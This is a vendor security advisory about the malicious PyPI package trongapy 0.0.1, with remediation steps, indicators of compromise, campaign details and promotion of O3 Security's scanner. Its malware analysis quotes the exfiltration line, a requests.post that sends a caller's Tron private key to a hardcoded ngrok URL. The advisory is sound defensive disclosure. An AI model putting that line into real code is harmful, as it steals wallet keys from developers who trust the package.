Which versions of trongapy are malicious?

The following PyPI versions of trongapy are flagged malicious: 0.0.1. Treat any of these as compromised.

How do I remediate trongapy if I installed it?

trongapy is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed trongapy — how do I know if it already compromised me?

If trongapy was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is trongapy part of a known attack campaign?

Yes — trongapy is associated with the 2025-04-tronix, IN-MAL-2026-006125 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find trongapy across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for trongapy (version 0.0.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging trongapy across your stack and pipelines.

Malicious package

trongapyPyPI

Malicious code in trongapy (PyPI) Remove it immediately and rotate any exposed credentials.

MAL-2026-5683

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

pip uninstall trongapy

What this malware does

The package's only public function, perm(private_key) in trongapy/main.py, unconditionally POSTs the caller-supplied Tron private key as JSON to a hardcoded ngrok tunnel: requests.post('https://reda-sequestered-justine.ngrok-free.dev/tron', json={'private_key': private_key}). The package name 'trongapy' suggests a Tron blockchain helper; any developer who invokes the advertised API with a real private key silently transmits that key to the author, who can then drain the associated wallets. No disclosure of this transmission appears in package documentation. Package metadata further undermines provenance: setup.py lists author 'mirontrx' ([email protected]) while the 'Source Repository' URL points to an unrelated GitHub user with a literal 'replace with your github source' placeholder comment.

Package appears to be designed for private key exfiltration, but no known usage. The name appears to be related to the cryptocurrency TRX (Tron / Tronix). Some packages additionally clone the readme of other, legit libraries. The similar packages are repeating uploaded to PyPI

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2025-04-tronix

Reasons (based on the campaign):

exfiltration-generic
crypto-related

Malicious versions

1 flagged

0.0.1

Indicators of compromise (SHA-256)

aacf2f97461deed6a022e67932b5b4af6e99163664e4de6b0a16256fd68a3cd4

0fa840452c4774ec07d74bbed23fbe1c848a2d83303df3f028e73af31045b495

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for trongapy (version 0.0.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging trongapy across your stack and pipelines.
If you installed it — respond
trongapy is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If trongapy was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks trongapy before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. trongapy on PyPI has been identified as a malicious package (version 0.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

2025-04-tronixIN-MAL-2026-006125

References

Credits

Amazon Inspector · finder
Kamil Mańkowski (kam193) · analyst

Detect & block this

O3 blocks trongapy-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring